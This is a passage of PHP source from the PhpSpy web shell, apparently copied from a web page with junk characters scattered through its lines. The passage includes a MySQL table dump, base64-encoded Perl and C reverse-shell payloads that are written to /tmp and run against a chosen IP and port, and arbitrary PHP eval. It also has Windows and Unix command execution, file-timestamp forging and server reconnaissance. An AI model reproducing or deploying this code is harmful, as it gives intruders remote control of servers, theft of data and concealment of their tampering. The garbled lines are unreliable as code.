  1022.                                 $query = q("SHOW TABLE STATUS");; ~  h7 C8 Q( }( Y2 K7 j2 v5 n- J5 U$ `2 E
  1023.                                 $table_num = $table_rows = $data_size = 0;
    ) g3 g9 e: N0 N- u
  1024.                                 $tabledb = array();
    # ?; k* W4 J1 x0 G
  1025.                                 while($table = mysql_fetch_array($query)) {
    0 t" o. [$ Q: n- }
  1026.                                         $data_size = $data_size + $table['Data_length'];
    0 v' R% y* q- q4 B* b" O7 G0 @
  1027.                                         $table_rows = $table_rows + $table['Rows'];
    6 z5 D2 [0 o8 T
  1028.                                         $table['Data_length'] = sizecount($table['Data_length']);& B8 [; b5 w# g9 Z& }- x% T, j0 y6 e
  1029.                                         $table_num++;
    $ \" ^9 ]! y" K  I
  1030.                                         $tabledb[] = $table;' d9 G: r$ Z; l& m% x
  1031.                                 }8 p1 h) M0 G5 R( U
  1032.                                 $data_size = sizecount($data_size);; c9 g4 _6 m0 l  l- q
  1033.                                 unset($table);
    ! C: y6 u' S% u1 Y) C1 a; w
  1034.                                 p('<table border="0" cellpadding="0" cellspacing="0">');$ o$ r5 i; j' z& \- A
  1035.                                 p('<form action="'.$self.'" method="POST">');
    % b; I# _- C' W$ L: L3 n' |
  1036.                                 makehide('action','sqladmin');7 Y; l/ d1 `$ Y+ d: ^8 V- e9 w
  1037.                                 p($dbform);! G' n9 V% J( @9 w
  1038.                                 p('<tr class="head">');( a! I- y- b5 Z, l
  1039.                                 p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
    8 h' z9 t& q2 w- m8 F
  1040.                                 p('<td>Name</td>');+ ?" w. z8 K# m) i% |$ w) I8 o
  1041.                                 p('<td>Rows</td>');; i2 s9 ~, ]+ j( }/ k! |
  1042.                                 p('<td>Data_length</td>');
    ' T6 n7 {6 K7 ^6 T3 w" Y
  1043.                                 p('<td>Create_time</td>');
    " p0 w2 J+ v3 [+ d
  1044.                                 p('<td>Update_time</td>');3 T# y4 f: S3 I0 g- m0 R- |
  1045.                                 if ($highver) {7 b" X- ^6 Z$ D" }
  1046.                                         p('<td>Engine</td>');/ K3 z) h* v' g& i' h& V2 N
  1047.                                         p('<td>Collation</td>');
    3 j% {: P" ^7 M" U" f1 A+ w
  1048.                                 }
    8 A" T5 x/ H  b1 B9 k6 u0 q
  1049.                                 p('</tr>');
    8 ~3 X1 v. T- }1 [0 z
  1050.                                 foreach ($tabledb as $key => $table) {
    ! i0 ~  c4 }& v* q
  1051.                                         $thisbg = bg();
    ! T. q! g6 E, ^$ e' H
  1052.                                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');* o. Z1 O, \2 m
  1053.                                         p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');6 f. c- c  J$ U% Z$ Z9 X! j
  1054.                                         p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
    ( G; B4 v- Z3 t6 K, U1 ]  h+ N
  1055.                                         p('<td>'.$table['Rows'].'</td>');
    1 \7 L7 ^8 J4 U, n  H' t4 S' c! H
  1056.                                         p('<td>'.$table['Data_length'].'</td>');
      B% X1 x! b7 L" Z# d: `& C
  1057.                                         p('<td>'.$table['Create_time'].'</td>');! E6 B! u9 K& K, i7 ]: s
  1058.                                         p('<td>'.$table['Update_time'].'</td>');
      w# M7 c# G2 r: c6 l: |; P( c
  1059.                                         if ($highver) {
    : P9 O( c! v0 j# h( d% [1 ~$ R
  1060.                                                 p('<td>'.$table['Engine'].'</td>');. M/ H( I! a$ n8 Q# l
  1061.                                                 p('<td>'.$table['Collation'].'</td>');8 m% d' |+ R; h. V8 L$ y
  1062.                                         }5 [* H2 i0 K; R; B+ s
  1063.                                         p('</tr>');
    $ A/ n3 C' D. b, W2 a4 L% ^( p
  1064.                                 }
    3 L! M" t4 G3 ?$ H- p; S4 y
  1065.                                 p('<tr class='.bg().'>');
    & B* D! T  v( O; Y0 }! |. n" m1 n
  1066.                                 p('<td> </td>');
    ( R% G' [6 @: a
  1067.                                 p('<td>Total tables: '.$table_num.'</td>');
    ! o3 @9 p. m1 L1 ^8 G
  1068.                                 p('<td>'.$table_rows.'</td>');
    / f( r6 E0 }1 }- s
  1069.                                 p('<td>'.$data_size.'</td>');: u7 A* Z3 k" A9 b" }5 K
  1070.                                 p('<td colspan="'.($highver ? 4 : 2).'"> </td>');. t4 C# q! V  W' d. o! a
  1071.                                 p('</tr>');3 c  H% b# i; X: t& q9 {7 U9 B
  1072.                                 p("<tr class="".bg().""><td colspan="".($highver ? 8 : 6).""><input name="saveasfile" value="1" type="checkbox" /> Save as file <input class="input" name="path" value="".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql" type="text" size="60" /> <input class="bt" type="submit" name="downrar" value="Export selection table" /></td></tr>");' N2 K5 M$ z) X
  1073.                                 makehide('doing','backupmysql');1 k! t! Y1 p0 i6 A
  1074.                                 formfoot();' d1 ?$ B, l) k
  1075.                                 p("</table>");- N, I$ t' X1 C, {$ J* v2 c9 P
  1076.                                 fr($query);
    $ W. a; E1 O$ c$ y3 l6 }3 R; i
  1077.                         }* K+ l/ K3 _% m4 t. u! _6 h
  1078.                 }5 w" k4 E  o/ e% q1 r
  1079.         }
    . }$ g! N  {8 ~4 t5 ^
  1080.         tbfoot();
    9 r3 L- g5 F2 y4 E3 E& o
  1081.         @mysql_close();
    / y( m6 e) q3 y% F, ?. [8 m2 I8 C
  1082. }//end sql backup
    0 P& |7 q7 S4 |+ p  \( X* P1 q* w, V
  1083. elseif ($action == 'backconnect') {* @2 a; [4 H" j% R
  1084.         !$yourip && $yourip = $_SERVER['REMOTE_ADDR'];2 m2 g8 C' V% j1 h$ i6 Z8 k3 x+ f
  1085.         !$yourport && $yourport = '12345';
    $ w  j- ]# S! ^( z3 s2 `; h! {: ?
  1086.         $usedb = array('perl'=>'perl','c'=>'c');
    & D# F; A1 X, t/ P& `( }
  1087.         $back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
    # T9 z: t" o$ A6 f3 x; c
  1088.                 "aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
    # a) j( O; I6 v8 j
  1089.                 "hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".! ~0 e/ Q  _3 e7 p3 b+ w6 O' }* N
  1090.                 "sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".: _' t) X2 m# o" t- t
  1091.                 "kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
    , g8 g+ h! ~! v0 d" I0 l
  1092.                 "KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".. Y' {7 o! R3 m9 J
  1093.                 "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
    # ~: f2 G/ V5 \  T) O& [- w
  1094.         $back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
    # Q( M+ @% s+ ^6 x3 q
  1095.                 "BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".: V( O- h5 F. H
  1096.                 "SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
    ( `+ p9 H$ [2 e# c2 x" y
  1097.                 "KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".+ o+ e, b8 a4 x! Z3 d$ }
  1098.                 "sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".5 P) {6 l/ Y8 ~# g# u
  1099.                 "Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
    : k: Q2 `- U0 b/ w
  1100.                 "QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
    , h7 S* g6 s) d3 g- R
  1101.                 "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
    ' x/ E) |2 u* p! h! v7 z. ?
  1102.         if ($start && $yourip && $yourport && $use){% O; E0 B7 a) n. ]
  1103.                 if ($use == 'perl') {. |3 V- c+ d% F0 _" S
  1104.                         cf('/tmp/angel_bc',$back_connect);5 z; {3 c5 G6 Q  S5 P
  1105.                         $res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");+ w$ {. I1 ]* U! ^8 a
  1106.                 } else {) Y/ y# Z" f" Q/ B
  1107.                         cf('/tmp/angel_bc.c',$back_connect_c);% v: e" T% \2 O( A2 Q
  1108.                         $res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
      \: z/ ?) m1 Y9 `( n) n1 T( V
  1109.                         @unlink('/tmp/angel_bc.c');* v: l  P: c& m( K3 `3 u
  1110.                         $res = execute("/tmp/angel_bc $yourip $yourport &");4 a5 M; ?  e0 _
  1111.                 }: K2 }  _/ m* r+ v! Z4 o7 p
  1112.                 m("Now script try connect to $yourip port $yourport ...");2 U$ Q& E" z! T' z5 K
  1113.         }
    4 C4 w" i6 z2 j, n0 E
  1114.         formhead(array('title'=>'Back Connect'));
    4 u8 M/ b/ S- O
  1115.         makehide('action','backconnect');8 ]7 ~; x- V6 e/ n( Z6 G. ]+ `
  1116.         p('<p>');
    & v) U- s4 h4 m
  1117.         p('Your IP:');+ d. }3 z7 }/ K! T8 D
  1118.         makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));5 I9 o- V( N! j
  1119.         p('Your Port:');: f( G% D( U) X, @
  1120.         makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));- T9 x) y' j! R
  1121.         p('Use:');
    6 u6 y- j, ?2 U7 O% M" |! _& W8 p
  1122.         makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));. L% l) I) D# ?4 X+ {
  1123.         makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));7 G' K# R6 D; ?
  1124.         p('</p>');1 U) E1 x8 p, Y# W2 O
  1125.         formfoot();
    ( o0 m# m5 u. V' _
  1126. }//end sql backup
    ' ^. |! r2 B: L: P/ u9 z
  1127. elseif ($action == 'eval') {  t, K0 |) M- f( c  S
  1128.         $phpcode = trim($phpcode);+ V! }- G; H% O9 w& n3 L: T* t8 p' G  i
  1129.         if($phpcode){
    0 Y3 T1 u0 {! ?5 m1 o/ _5 r
  1130.                 if (!preg_match('#<\?#si', $phpcode)) {
    0 b) _1 f8 X2 b# ^
  1131.                         $phpcode = "<?php\n\n{$phpcode}\n\n?>";% M# d% X: _( Y6 k
  1132.                 }
    9 s1 P) p* ~) }- c
  1133.                 eval("?".">$phpcode<?");
    ) N/ @8 z4 B3 C) n: u7 }! K
  1134.         }! z4 l8 L  C( C$ _3 M6 J& a
  1135.         formhead(array('title'=>'Eval PHP Code'));3 {$ i, V( J  S) P- q
  1136.         makehide('action','eval');9 o; Y# C" i/ ]' H) b' H' m
  1137.         maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));, ?% s, d' G! f: ?9 `5 x
  1138.         p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');2 b4 e0 Z* b( o7 N3 `$ S
  1139.         formfooter();
    + W4 B! \/ m, f* X) T  F& I# z
  1140. }//end eval
    " S8 c! `$ G/ q3 l0 G, u* G6 X

  1141. 7 g  V, q2 c$ R1 ?. {
  1142. elseif ($action == 'editfile') {
    ! g$ C# S$ E: q
  1143.         if(file_exists($opfile)) {
    / r, T9 O3 O, f" x0 f1 m' _' G" l+ P
  1144.                 $fp=@fopen($opfile,'r');6 |  a* L! \# d8 {2 L% b
  1145.                 $contents=@fread($fp, filesize($opfile));( I: P+ t2 v9 Q9 {$ A& q/ r" p
  1146.                 @fclose($fp);
    0 M5 y- `- w$ q+ d2 p
  1147.                 $contents=htmlspecialchars($contents);
    7 z; J' m9 Z/ a6 R- h; T% M
  1148.         }) e! w6 g# ?2 L: G  K% ?. L# H
  1149.         formhead(array('title'=>'Create / Edit File'));
    ! Z( S2 y* B4 |2 Y: |
  1150.         makehide('action','file');
    - F; b- u# f$ P' S
  1151.         makehide('dir',$nowpath);
    : d& K, w. N5 r# y. e' |" P2 m
  1152.         makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));+ G8 f1 J# P: S- u3 O  r
  1153.         maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
    ) N  \- A9 Y( Q: V, g
  1154.         formfooter();! t' k; U1 ?3 A
  1155. }//end editfile$ g5 y) F5 h/ j% Q0 r. z
  1156. , l( {6 L+ ]5 Q7 ^0 g# t2 n, l  A4 U7 }
  1157. elseif ($action == 'newtime') {+ I6 u$ I9 T+ C; x5 C, h5 K/ [
  1158.         $opfilemtime = @filemtime($opfile);; y5 m/ `5 l$ @5 K
  1159.         //$time = strtotime("$year-$month-$day $hour:$minute:$second");
    6 y2 z1 H4 q% }2 m2 L
  1160.         $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
    7 y+ \& h7 N+ O; b% d, E
  1161.         formhead(array('title'=>'Clone file was last modified time'));, W. O$ T% V8 r
  1162.         makehide('action','file');/ {, I9 v, w2 b+ K
  1163.         makehide('dir',$nowpath);3 X1 t7 ]5 r0 D
  1164.         makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
    8 y# k' |0 @2 h- Q6 p" ?# q
  1165.         makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
    # z# @3 @& W( i' b
  1166.         formfooter();
    ! Y! W" f, v, Z7 x, H
  1167.         formhead(array('title'=>'Set last modified'));
    % p# k; y& T9 v
  1168.         makehide('action','file');
    & ^& u) n( ^, J7 y8 j' d
  1169.         makehide('dir',$nowpath);3 Z" T0 d1 b5 E  W/ S/ X! L5 J6 A
  1170.         makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));' Y6 D* H5 ?3 K$ f+ n
  1171.         p('<p>Instead »');
    ( Q6 d4 K; D$ ^% X
  1172.         p('year:');
    ( J; h  t$ o7 Y) \
  1173.         makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));* D  U/ i# u& B' A' I' r
  1174.         p('month:');3 d7 [3 o3 N! @% E+ f5 v, ^
  1175.         makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
    3 j& I2 ^% x0 T0 d. t9 O; e
  1176.         p('day:');
    5 j; Y+ e4 f  _
  1177.         makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));( F* O; o0 ~! F1 D5 O9 w" ^
  1178.         p('hour:');
    ) C! X" P) g1 |; T7 x
  1179.         makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
    6 p2 E- Z# S( |' E
  1180.         p('minute:');
    3 W1 v* a! R: r. i
  1181.         makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));8 d' n) P7 n  w. g3 x' ]
  1182.         p('second:');, u$ E" l/ v) B8 v( ~  p3 x1 `& H( V
  1183.         makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
    % ^8 J1 o- n: O6 K% F, b
  1184.         p('</p>');
    ( u! C( }: N' |# h% y! j
  1185.         formfooter();
    2 M# F7 h! {! K) l7 Y
  1186. }//end newtime* F- I8 q6 m- I' m2 W( h' B
  1187.   d8 m* ?: I) ]: [. ^) P& T
  1188. elseif ($action == 'shell') {5 J& T. r. P% [
  1189.         if (IS_WIN && IS_COM) {! C" d; p- z$ E' w  F
  1190.                 if($program && $parameter) {$ M2 e# i. E, n7 c6 h
  1191.                         $shell= new COM('Shell.Application');) ~8 d4 A9 \/ d8 f+ v
  1192.                         $a = $shell->ShellExecute($program,$parameter);
    6 X6 C* n! s  e' E
  1193.                         m('Program run has '.(!$a ? 'success' : 'fail'));
    . F2 N. {/ Q! A4 y/ u# c
  1194.                 }
    6 G0 ]$ }" A# k* h
  1195.                 !$program && $program = 'c:\windows\system32\cmd.exe';
    % H7 k7 n$ q% f5 V5 o# L
  1196.                 !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';6 B# f' a4 @2 w  a( z0 C
  1197.                 formhead(array('title'=>'Execute Program'));: y3 F0 I3 B3 E" v
  1198.                 makehide('action','shell');* w1 Z7 |; |* [* \
  1199.                 makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
    " R+ e# K/ m" x$ D- T8 Z/ U
  1200.                 p('<p>');9 t7 [: Z9 i6 _
  1201.                 makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
    5 W9 }! ]& w$ J) c7 M( ]
  1202.                 makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));+ _0 r/ c3 V" H4 y7 b' h* s- s
  1203.                 p('</p>');9 F( T  v/ d% F3 b9 H
  1204.                 formfoot();% C1 @+ Z- x# R' w( a, B6 ~
  1205.         }
    3 D  K2 [' p) L1 |
  1206.         formhead(array('title'=>'Execute Command'));
    8 c3 x* t" A: e9 i2 \* o+ `7 q+ u) s
  1207.         makehide('action','shell');
    ; @0 M2 L& _/ o' R
  1208.         if (IS_WIN && IS_COM) {
    . Z, d, t' V! C
  1209.                 $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
    3 }& ~, D+ ^6 i+ J* r' m
  1210.                 makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
    5 j& c: A! Q; ^% k
  1211.         }
    ( r# `( E6 a& x. w
  1212.         p('<p>');  b" a# o% V7 p
  1213.         makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
    4 [) X( l; [1 `+ A
  1214.         makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
    * c3 d4 ^. e0 e3 L) P- d& h
  1215.         p('</p>');
    $ s: V" j) D! ?0 t- C. p" }
  1216.         formfoot();6 _, S1 O7 U/ W0 C
  1217. . }: U3 h, q  S& X0 L% X3 L7 G
  1218.         if ($command) {! q& h; I. B: f9 d) Q' c0 [" ?
  1219.                 p('<hr width="100%" noshade /><pre>');
    * f2 W+ O1 @) U. {
  1220.                 if ($execfunc=='wscript' && IS_WIN && IS_COM) {2 z4 U% a9 l0 Y5 X
  1221.                         $wsh = new COM('WScript.shell');
    0 u- n. l6 }" e5 K! {# P7 `
  1222.                         $exec = $wsh->exec('cmd.exe /c '.$command);
    " d/ ]" Q$ f. k
  1223.                         $stdout = $exec->StdOut();
    ; h' N. o' t9 F1 S, t
  1224.                         $stroutput = $stdout->ReadAll();
    ; S: |( s& `& c
  1225.                         echo $stroutput;7 L4 V9 H* \  I8 i" c& n, u
  1226.                 } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {. Y4 O2 K  D7 A9 p- P+ H1 T- J
  1227.                         $descriptorspec = array(1 b5 P& `' ?5 f" \2 z4 F- B0 V
  1228.                            0 => array('pipe', 'r'),
    * f, i2 _9 q7 L8 o3 p- c9 q# o
  1229.                            1 => array('pipe', 'w'),% S' Y' ]0 {7 ~/ r# z9 e1 l" N
  1230.                            2 => array('pipe', 'w')" _! x- t: }/ S* b6 W
  1231.                         );
    ( ~# ]5 G( a/ K6 I4 H- t4 c% ^
  1232.                         $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
    3 [" Q+ x- h8 P# z, m4 k% P
  1233.                         if (is_resource($process)) {6 X# e* u0 g; M$ f5 s- J, t! T/ c1 ?- r
  1234.                                 fwrite($pipes[0], $command."\r\n");# h& m2 G* k6 Y. V! \, {
  1235.                                 fwrite($pipes[0], "exit\r\n");
    6 ?" D; z0 k4 N- F
  1236.                                 fclose($pipes[0]);& b4 S8 Z0 c3 m' R8 l& f. z" @$ \% v  W
  1237.                                 while (!feof($pipes[1])) {
    . G1 T( U; {8 Z: @
  1238.                                         echo fgets($pipes[1], 1024);) O! T; e2 C3 T/ I3 D8 z! S$ V
  1239.                                 }
    / Y& T3 X" w, Z1 H, Q' n7 V
  1240.                                 fclose($pipes[1]);! _6 u0 _2 M. r' u, u. R8 k
  1241.                                 while (!feof($pipes[2])) {. @% g" {$ x( @/ d. y1 {
  1242.                                         echo fgets($pipes[2], 1024);' Q6 w5 w, [# ?* i( S' B# Y& a5 B
  1243.                                 }
    ! l. B" ^7 x5 i) o& }# ?4 V
  1244.                                 fclose($pipes[2]);
    & `2 c" p# M. v0 j! c6 p0 Y' A; l
  1245.                                 proc_close($process);- l; I) L4 v8 f6 g
  1246.                         }# ~9 ?, ^) C* t) c; D* E
  1247.                 } else {* D% J$ p) c5 ^; r# H! u/ e4 ^& |, W
  1248.                         echo(execute($command));9 R1 M) e. F" G  N+ ~$ s
  1249.                 }
    * N+ x+ _: ~9 v& E; L5 J
  1250.                 p('</pre>');: y, |* w9 M( O5 d
  1251.         }
    + I1 }6 x: {* q) y% i6 G) V
  1252. }//end shell% S0 e% k; v6 Y* m  g  Y$ [* @
  1253. : [2 i2 k! t" \4 z: l3 o+ @
  1254. elseif ($action == 'phpenv') {
    4 O% A$ p! C) c/ K; z2 r+ d
  1255.         $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';5 W7 O+ C( _7 a. ~6 o! w# l; y# t
  1256.         $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');  `, {2 n' y( e6 |( Y" _
  1257.         !$dis_func && $dis_func = 'No';          C. M( {* p- {$ ~% ~, l
  1258.         $info = array(3 J& D) J' Z' z6 B8 ^: ]9 O6 F
  1259.                 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),  O+ A6 Z2 r$ R( }& v. _1 K
  1260.                 2 => array('Server Domain',$_SERVER['SERVER_NAME']),
    " g% L' C/ o, Z% z2 S9 T5 ^
  1261.                 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),7 z7 L  z+ W" `) c. F7 A2 c
  1262.                 4 => array('Server OS',PHP_OS),) L  m2 z9 H; K5 g  b) D% z0 ~% o
  1263.                 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),  `5 z3 d+ H7 x
  1264.                 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
    3 T5 T' L, N. G0 j" [6 n
  1265.                 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),9 }" Q1 d8 t: r2 \
  1266.                 8 => array('PHP run mode',strtoupper(php_sapi_name())),2 u" `4 v! k9 ]9 j" M
  1267.                 9 => array('The file path',__FILE__),- K# r6 n! L  H" A
  1268. + l3 o) q$ i0 Q2 f" F$ q) Q1 J
  1269.                 10 => array('PHP Version',PHP_VERSION),
    7 o+ J- h: |) e* z. M0 q# J
  1270.                 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),! E3 R2 k* t" n2 V5 _  O1 M4 A
  1271.                 12 => array('Safe Mode',getcfg('safe_mode')),
    , A- M+ W+ V: G  O$ v" r+ ]) ]: M
  1272.                 13 => array('Administrator',$adminmail),
    ( V6 o' ?1 d7 w( w7 F
  1273.                 14 => array('allow_url_fopen',getcfg('allow_url_fopen'))," E. A' \! T$ t/ ^2 @
  1274.                 15 => array('enable_dl',getcfg('enable_dl')),
    & t% B5 s- X5 U7 n5 I" \
  1275.                 16 => array('display_errors',getcfg('display_errors')),
    0 K9 Y3 [" ~/ ?
  1276.                 17 => array('register_globals',getcfg('register_globals')),. F6 M1 o- }( Z; G. ?& t
  1277.                 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
    ! P2 _$ ^" L1 h8 D
  1278.                 19 => array('memory_limit',getcfg('memory_limit')),
    ! M2 j6 a) \1 U* R: f! n/ T/ x
  1279.                 20 => array('post_max_size',getcfg('post_max_size')),
    0 K6 c& y+ C0 p3 q! Q
  1280.                 21 => array('upload_max_filesize',$upsize),
    & \* t: l% R, j5 T
  1281.                 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),7 W3 j3 S/ y7 Z( x* d& @6 u4 X
  1282.                 23 => array('disable_functions',$dis_func),3 b6 w* `5 H, G- _' g3 x
  1283.         );
    & H) o6 b: U9 @; Y" j' |$ \

  1284. , J: u1 w$ a/ m) t% M
  1285.         if($phpvarname) {; ?" R, n% k/ o
  1286.                 m($phpvarname .' : '.getcfg($phpvarname));
    $ W" B4 M4 M) N( p, E" z6 ~
  1287.         }8 t" c3 D! G' z, _& P

  1288. . e' `, \" L& Z9 M
  1289.         formhead(array('title'=>'Server environment'));% S- w% C% S$ v& y/ D  m
  1290.         makehide('action','phpenv');
    & a0 l$ S# u7 G9 K
  1291.         makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));. C5 `8 a/ Z2 s+ `
  1292.         formfooter();
    4 d& f9 a  x. o! m/ T6 a. I- `

  1293. ! X) a8 o* E8 s
  1294.         $hp = array(0=> 'Server', 1=> 'PHP');6 T1 `6 m; C, j4 Q0 ?7 E+ u
  1295.         for($a=0;$a<2;$a++) {  Z1 g! ~' K+ ~! l( G2 _: D
  1296.                 p('<h2>'.$hp[$a].' »</h2>');+ p$ @+ X  p- F- P9 l7 \% X: _
  1297.                 p('<ul class="info">');
    + x5 t) e4 X0 Z0 {! o3 s6 @
  1298.                 if ($a==0) {  M; D# c6 {# h& o
  1299.                         for($i=1;$i<=9;$i++) {
    ; V! d! O1 p2 T: ?' ]
  1300.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');) v! ~# g. ~) E* R
  1301.                         }
    # \+ [- W: S1 k; J' F
  1302.                 } elseif ($a == 1) {; o) c$ c- B3 h  u$ ?& P' Y: W% s
  1303.                         for($i=10;$i<=23;$i++) {$ }7 q: U0 `6 W7 H
  1304.                                 p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
    4 }7 F/ @1 n" m6 d1 h
  1305.                         }' M5 E9 O& W! }3 [$ K
  1306.                 }- x2 d2 M5 X3 s
  1307.                 p('</ul>');
    1 J1 a& g% u$ c3 @9 ^2 ]% H
  1308.         }
    ; A& e. |1 t8 Z2 }7 N
  1309. }//end phpenv
    * L* i0 p; O0 N: x; i6 c# b- X5 x

  1310. 3 l% ^' ?5 n$ V+ D: D2 c5 C
  1311. else {, r9 G2 k' q6 \
  1312.         m('Undefined Action');
    & `# C2 a& q& E! p; u
  1313. }8 W+ t0 N1 x1 Y8 U& g7 U

  1314. + q7 O( w% |) E1 V& G3 K% k  w( E
  1315. ?>& Y! H4 T5 F6 `% c
  1316. </td></tr></table>
    2 p5 q5 P' W% F" v
  1317. <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
    9 O* E+ A' V; l: }/ f, W% p! `/ N
  1318.         <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>9 F3 v% o6 E6 J4 Z" J
  1319.         Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.* C" H& o$ ^$ w
  1320. </div>
    3 z$ ]& U7 i2 d, x9 l4 T) V
  1321. </body>3 _  Z$ H) o4 R  w
  1322. </html>
    3 B+ @6 A6 j9 O. s
  1323. . ~+ B: o+ C: l. W% I; S# V
